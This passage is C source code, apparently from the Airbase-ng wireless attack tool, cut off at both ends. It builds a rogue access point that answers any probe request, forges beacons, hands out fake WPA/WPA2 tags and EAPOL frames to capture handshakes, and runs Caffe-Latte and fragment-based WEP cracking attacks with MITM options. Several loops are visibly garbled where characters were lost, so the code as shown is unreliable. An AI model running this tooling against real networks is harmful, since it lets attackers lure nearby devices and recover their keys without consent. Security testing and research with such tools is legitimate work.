!= NULL && tag[0] >= 32 && tag[0] < 127 && len <= 255) //directed probe { if( opt.promiscuous || !opt.f_essid || gotESSID((char*)tag, len) == 1) { memset(essid, 0, 256); memcpy(essid, tag, len); /* store probes */ for( i = 0; i < len; i++ ) if( essid[i] > 0 && essid[i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID */ /* add this to the beacon queue */ if(opt.beacon_cache) addESSID(essid, len, opt.beacon_cache); /* check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], essid, len ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], essid, len ); //twice?! st_cur->ssid_length[st_cur->probe_index] = len; for( i = 0; i < len; i++ ) { c = essid[i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } skip_probe: //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got directed probe request from %02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], essid); } //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert tagged parameters memcpy(packet+z+12, buffer, length-z); length += 12; free(buffer); buffer = NULL; //add channel packet[length] = 0x03; packet[length+1] = 0x01; packet[length+2] = wi_get_channel(_wi_in); length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); if( opt.allwpa ) { memcpy(packet+length, WPA_TAGS, 0x56); length += 0x56; } if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } send_packet(packet, length); //send_packet(packet, length); //send_packet(packet, length); return 0; } } else //broadcast probe { if(!opt.nobroadprobe) { //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got broadcast probe request from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert essid fessid = getESSID(&len); if(fessid == NULL) { fessid = "default"; len = strlen(fessid); } packet[z+12] = 0x00; packet[z+13] = len; memcpy(packet+z+14, fessid, len); //insert tagged parameters memcpy(packet+z+14+len, buffer, length-z); //now we got 2 essid tags... ignore that length += 12; //fixed info free(buffer); buffer = NULL; length += 2+len; //default essid //add channel packet[length] = 0x03; packet[length+1] = 0x01; packet[length+2] = wi_get_channel(_wi_in); length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); if( opt.allwpa ) { memcpy(packet+length, WPA_TAGS, 0x56); length += 0x56; } if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } send_packet(packet, length); send_packet(packet, length); send_packet(packet, length); return 0; } } } //auth req if(packet[0] == 0xB0 && memcmp( bssid, opt.r_bssid, 6) == 0 ) { if(packet[z] == 0x00) //open system auth { //make sure its an auth request if(packet[z+2] == 0x01) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (open system)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; if(opt.forceska) { packet[z] = 0x01; packet[z+4] = 13; } send_packet(packet, length); return 0; } } else //shared key auth { //first response if(packet[z+2] == 0x01 && (packet[1] & 0x40) == 0x00 ) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (shared key)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; remaining = opt.skalen; while(remaining > 0) { bytes2use = MIN(255,remaining); remaining -= bytes2use; //add challenge packet[length] = 0x10; packet[length+1] = bytes2use; length += 2; for(i=0; iwep = (packet[z] & 0x10) >> 4; tag = parse_tags(packet+z+fixed, 0, length-z-fixed, &len); if(tag != NULL && tag[0] >= 32 && tag[0] < 127 && len < 256) { memcpy(essid, tag, len); essid[len] = 0x00; if(opt.f_essid && !gotESSID(essid, len)) return 0; } st_cur->wpatype=0; st_cur->wpahash=0; tag = parse_tags(packet+z+fixed, 0xDD, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0xDD, length-(tag-packet)+2, &len); } tag = parse_tags(packet+z+fixed, 0x30, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA2 TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0x30, length-(tag-packet)+2, &len); } if(!reasso) packet[0] = 0x10; else packet[0] = 0x30; memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z-fixed); memcpy(buffer, packet+z+fixed, length-z-fixed); packet[z+2] = 0x00; packet[z+3] = 0x00; packet[z+4] = 0x01; packet[z+5] = 0xC0; memcpy(packet+z+6, buffer, length-z-fixed); length +=(6-fixed); free(buffer); buffer = NULL; len = length - z - 6; remove_tag(packet+z+6, 0, &len); length = len + z + 6; send_packet(packet, length); if(!opt.quiet) { PCT; printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], (reasso==0)?"":"re"); if(st_cur->wpatype != 0) { if(st_cur->wpatype == 1) printf(" (WPA1"); else printf(" (WPA2"); if(st_cur->wpahash == 1) printf(";TKIP)"); else printf(";CCMP)"); } else if(st_cur->wep != 0) { printf(" (WEP)"); } else { printf(" (unencrypted)"); } if(essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid); printf("\n"); } memset(st_cur->essid, 0, 256); memcpy(st_cur->essid, essid, 255); st_cur->essid_length = strlen(essid); memset(essid, 0, 256); /* either specified or determined */ if( (opt.sendeapol && ( opt.wpa1type || opt.wpa2type ) ) || (st_cur->wpatype && st_cur->wpahash) ) { st_cur->wpa.state = 0; for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && !opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); } return 0; } return 0; } return 0; } void beacon_thread( void *arg ) { struct AP_conf apc; struct timeval tv, tv1, tv2; u_int64_t timestamp; unsigned char beacon[512]; int beacon_len=0; int seq=0, i=0, n=0; int essid_len; char *essid = ""; pESSID_t cur_essid = rESSID; float f, ticks[3]; memcpy(&apc, arg, sizeof(struct AP_conf)); ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ // printf( "1 " ); if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return; } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000.0 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } // printf( "2 " ); if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double)apc.interval/1000.0)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; // printf( "3 " ); fflush(stdout); gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; // printf( "ticks: %f ; timestamp: %u\n", ticks[2], (unsigned int)timestamp ); // printf( "4 " ); fflush(stdout); if(cur_essid == NULL) cur_essid = rESSID; if(cur_essid == NULL) { essid = "default"; essid_len = strlen(essid); } else { /* flush expired ESSID entries */ flushESSID(); essid = cur_essid->essid; essid_len = cur_essid->len; cur_essid = cur_essid->next; } beacon_len = 0; memcpy(beacon, "\x80\x00\x00\x00", 4); //type/subtype/framecontrol/duration beacon_len+=4; memcpy(beacon+beacon_len , BROADCAST, 6); //destination beacon_len+=6; if(!opt.adhoc) memcpy(beacon+beacon_len, apc.bssid, 6); //source else memcpy(beacon+beacon_len, opt.r_smac, 6); //source beacon_len+=6; memcpy(beacon+beacon_len, apc.bssid, 6); //bssid beacon_len+=6; memcpy(beacon+beacon_len, "\x00\x00", 2); //seq+frag beacon_len+=2; memcpy(beacon+beacon_len, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information beacon[beacon_len+8] = (apc.interval * MAX(getESSIDcount(), 1) ) & 0xFF; //beacon interval beacon[beacon_len+9] = (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF; memcpy(beacon+beacon_len+10, apc.capa, 2); //capability beacon_len+=12; beacon[beacon_len] = 0x00; //essid tag beacon[beacon_len+1] = essid_len; //essid tag beacon_len+=2; memcpy(beacon+beacon_len, essid, essid_len); //actual essid beacon_len+=essid_len; memcpy(beacon+beacon_len, RATES, 16); //rates+extended rates beacon_len+=16; beacon[beacon_len] = 0x03; //channel tag beacon[beacon_len+1] = 0x01; beacon[beacon_len+2] = wi_get_channel(_wi_in); //current channel beacon_len+=3; if( opt.allwpa ) { memcpy(beacon+beacon_len, WPA_TAGS, 0x56); beacon_len += 0x56; } if(opt.wpa2type > 0) { memcpy(beacon+beacon_len, WPA2_TAG, 22); beacon[beacon_len+7] = opt.wpa2type; beacon[beacon_len+13] = opt.wpa2type; beacon_len += 22; } if(opt.wpa1type > 0) { memcpy(beacon+beacon_len, WPA1_TAG, 24); beacon[beacon_len+11] = opt.wpa1type; beacon[beacon_len+17] = opt.wpa1type; beacon_len += 24; } //copy timestamp into beacon; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { beacon[24+i] = ( timestamp >> (i*8) ) & 0xFF; } beacon[22] = (seq << 4) & 0xFF; beacon[23] = (seq >> 4) & 0xFF; // printf( "5 " ); fflush(stdout); if( send_packet( beacon, beacon_len ) < 0 ) { printf("Error sending beacon!\n"); return; } seq++; // printf( "6\n" ); } } } void caffelatte_thread( void ) { struct timeval tv, tv2; // int beacon_len=0; // int seq=0, i=0, n=0; float f, ticks[3]; int arp_off1=0; int nb_pkt_sent_1=0; int seq=0; ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000.0 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double)1000.0/(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; if( opt.nb_arp > 0 ) { if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; // printf("sent arp: %d\n", nb_pkt_sent_1); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; } if( ++arp_off1 >= opt.nb_arp ) arp_off1 = 0; } } } } int del_next_CF(pCF_t curCF) { pCF_t tmp; if(curCF == NULL) return 1; if(curCF->next == NULL) return 1; tmp = curCF->next; curCF -> next = tmp->next; free(tmp); return 0; } int cfrag_fuzz(unsigned char *packet, int frags, int frag_num, int length, unsigned char rnd[2]) { int z, i; uchar overlay[4096]; uchar *smac = NULL; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length <= z+8) return 1; if(frags < 1) return 1; if(frag_num < 0 || frag_num > frags) return 1; if( (packet[1] & 3) <= 1 ) smac = packet + 10; else if( (packet[1] & 3) == 2 ) smac = packet + 16; else smac = packet + 24; memset(overlay, 0, 4096); smac[4] ^= rnd[0]; smac[5] ^= rnd[1]; if(frags == 1 && frag_num == 1) /* ARP final */ { overlay[z+14] = rnd[0]; overlay[z+15] = rnd[1]; overlay[z+18] = rnd[0]; overlay[z+19] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } else if(frags == 3 && frag_num == 3)/* IP final */ { overlay[z+12] = rnd[0]; overlay[z+13] = rnd[1]; overlay[z+16] = rnd[0]; overlay[z+17] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } for(i=0; i= ((double)1000.0/(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; pthread_mutex_lock( &mx_cf ); if( opt.cf_count > 0 ) { curCF = rCF; if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } // curCF = curCF->next; while( curCF->next != NULL && curCF->next->xmitcount >= MAX_CF_XMIT ) { del_next_CF(curCF); } if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } curCF = curCF->next; if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; // printf("sent arp: %d\n", nb_pkt_sent_1); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; } } pthread_mutex_unlock( &mx_cf ); } } } int main( int argc, char *argv[] ) { int ret_val, len, i, n; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; char *s, buf[128], *fessid; int caplen; struct AP_conf apc; unsigned char mac[6]; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); memset( &apc, 0, sizeof( struct AP_conf )); rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list)); memset(rESSID, 0, sizeof(struct ESSID_list)); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); rClient = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rClient, 0, sizeof(struct MAC_list)); rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rBSSID, 0, sizeof(struct MAC_list)); rCF = (pCF_t) malloc(sizeof(struct CF_packet)); memset(rCF, 0, sizeof(struct CF_packet)); pthread_mutex_init( &mx_cf, NULL ); pthread_mutex_init( &mx_cap, NULL ); opt.r_nbpps = 100; opt.tods = 0; opt.setWEP = -1; opt.skalen = 128; opt.filter = -1; opt.ringbuffer = 10; opt.nb_arp = 0; opt.f_index = 1; opt.interval = 0x64; opt.beacon_cache = 0; /* disable by default */ opt.ti_mtu = TI_MTU; opt.wif_mtu = WIF_MTU; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"beacon-cache",1, 0, 'C'}, {"bssid", 1, 0, 'b'}, {"bssids", 1, 0, 'B'}, {"channel", 1, 0, 'c'}, {"client", 1, 0, 'd'}, {"clients", 1, 0, 'D'}, {"essid", 1, 0, 'e'}, {"essids", 1, 0, 'E'}, {"promiscuous", 0, 0, 'P'}, {"interval", 1, 0, 'I'}, {"mitm", 0, 0, 'M'}, {"hidden", 0, 0, 'X'}, {"caffe-latte", 0, 0, 'L'}, {"cfrag", 0, 0, 'N'}, {"verbose", 0, 0, 'v'}, {"ad-hoc", 0, 0, 'A'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : opt.channel = atoi(optarg); break; case 'V' : opt.sendeapol = atoi(optarg); if(opt.sendeapol < 1 || opt.sendeapol > 3) { printf( "EAPOL value can only be 1[MD5], 2[SHA1] or 3[auto].\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : opt.verbose = 1; if( opt.quiet != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'z' : opt.wpa1type = atoi(optarg); if( opt.wpa1type < 1 || opt.wpa1type > 5 ) { printf( "Invalid WPA1 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'Z' : opt.wpa2type = atoi(optarg); if( opt.wpa2type < 1 || opt.wpa2type > 5 ) { printf( "Invalid WPA2 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'e' : if( addESSID(optarg, strlen(optarg), 0) != 0 ) { printf( "Invalid ESSID, too long\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_essid = 1; break; case 'E' : if( addESSIDfile(optarg) != 0 ) return( 1 ); opt.f_essid = 1; break; case 'P' : opt.promiscuous = 1; break; case 'I' : opt.interval = atoi(optarg); break; case 'C' : opt.beacon_cache = atoi(optarg); break; case 'A' : opt.adhoc = 1; break; case 'N' : opt.cf_attack = 1; break; case 'X' : opt.hidden = 1; break; case '0' : opt.allwpa = 1; if(opt.sendeapol == 0) opt.sendeapol = 3; break; case 'x' : opt.r_nbpps = atoi(optarg); if(opt.r_nbpps < 1 || opt.r_nbpps > 1000) { printf( "Invalid speed. [1-1000]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : opt.forceska = 1; break; case 'f' : if( strncasecmp(optarg, "allow", 5) == 0 || strncmp(optarg, "0", 1) == 0 ) { opt.filter = ALLOW_MACS; //block all, allow the specified macs } else if( strncasecmp(optarg, "disallow", 5) == 0 || strncmp(optarg, "1", 1) == 0 ) { opt.filter = BLOCK_MACS; //allow all, block the specified macs } else { printf( "Invalid macfilter mode. [allow|disallow]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'S' : if(atoi(optarg) < 16 || atoi(optarg) > 1480) { printf( "Invalid challenge length. [16-1480]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.skalen = atoi(optarg); break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 'W' : if(atoi(optarg) < 0 || atoi(optarg) > 1) { printf( "Invalid argument for (-W). Only \"0\" and \"1\" allowed.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.setWEP = atoi(optarg); break; case 'M' : opt.mitm = 1; break; case 'L' : opt.caffelatte = 1; break; case 'y' : opt.nobroadprobe = 1; break; case 'Y' : if( strncasecmp(optarg, "in", 2) == 0 ) { opt.external |= EXT_IN; //process incomming frames } else if( strncasecmp(optarg, "out", 3) == 0) { opt.external |= EXT_OUT; //process outgoing frames } else if( strncasecmp(optarg, "both", 4) == 0 || strncasecmp(optarg, "all", 3) == 0) { opt.external |= EXT_IN | EXT_OUT; //process both directions } else { printf( "Invalid processing mode. [in|out|both]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : opt.quiet = 1; if( opt.verbose != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'F': if (opt.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ opt.dump_prefix = optarg; opt.record_data = 1; break; case 'd': if(getmac(optarg, 1, mac) == 0) { addMAC(rClient, mac); } else { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'D': if(addMACfile(rClient, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'b': if(getmac(optarg, 1, mac) == 0) { addMAC(rBSSID, mac); } else { printf( "Invalid BSSID address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'B': if(addMACfile(rBSSID, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1) ) { printf("Notice: You need to specify exactly one BSSID (-b)" " and at least one client MAC (-d)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.wpa1type && opt.wpa2type ) { printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } // if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type ) // { // printf("Notice: You need to specify which WPA method to use" // " together with EAPOL. WPA (-z) or WPA2 (-Z)\n"); // printf("\"%s --help\" for help.\n", argv[0]); // return( 1 ); // } if( opt.allwpa && (opt.wpa1type || opt.wpa2type) ) { printf("Notice: You cannot use all WPA tags (-0)" " together with WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else 